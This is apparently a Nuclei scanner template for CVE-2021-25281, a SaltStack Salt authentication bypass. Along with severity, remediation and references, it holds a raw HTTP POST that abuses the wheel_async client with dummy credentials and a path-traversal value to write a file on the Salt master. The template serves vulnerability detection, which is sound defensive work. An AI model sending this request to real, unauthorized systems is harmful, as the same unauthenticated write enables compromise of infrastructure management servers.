54 lines
1.7 KiB
YAML
54 lines
1.7 KiB
YAML
id: CVE-2021-25281
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info:
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name: SaltStack Salt <3002.5 - Auth Bypass
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author: madrobot
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severity: critical
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description: SaltStack Salt before 3002.5 does not honor eauth credentials for the wheel_async client, allowing attackers to remotely run any wheel modules on the master.
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remediation: |
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Upgrade to SaltStack Salt version 3002.5 or later to mitigate this vulnerability.
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reference:
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- http://hackdig.com/02/hack-283902.htm
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- https://dozer.nz/posts/saltapi-vulns
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- https://nvd.nist.gov/vuln/detail/CVE-2021-25281
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- https://github.com/saltstack/salt/releases
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- https://www.saltstack.com/blog/active-saltstack-cve-announced-2021-jan-21/
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-25281
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cwe-id: CWE-287
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epss-score: 0.84203
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epss-percentile: 0.98126
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cpe: cpe:2.3:a:saltstack:salt:*:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: saltstack
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product: "salt"
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tags: cve,cve2021,saltapi,rce,saltstack,unauth
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http:
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- raw:
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- |
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POST /run HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/json
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{"client":"wheel_async","fun":"pillar_roots.write","data":"testing","path":"../../../../../../../tmp/testing","username":"1","password":"1","eauth":"pam"}
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- "return"
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- "tag"
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- "jid"
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- "salt"
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- "wheel"
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condition: and
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- type: status
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status:
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- 200
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# digest: 4b0a00483046022100ce57938a1187af29d974c842478fff0adfaa2779b3fea4d494d8ec5997cbded5022100fc608adbf8796fcb12f0fed5c917757565b9683625fbaad8db0ef28b91ff642e:922c64590222798bb761d5b6d8e72950 |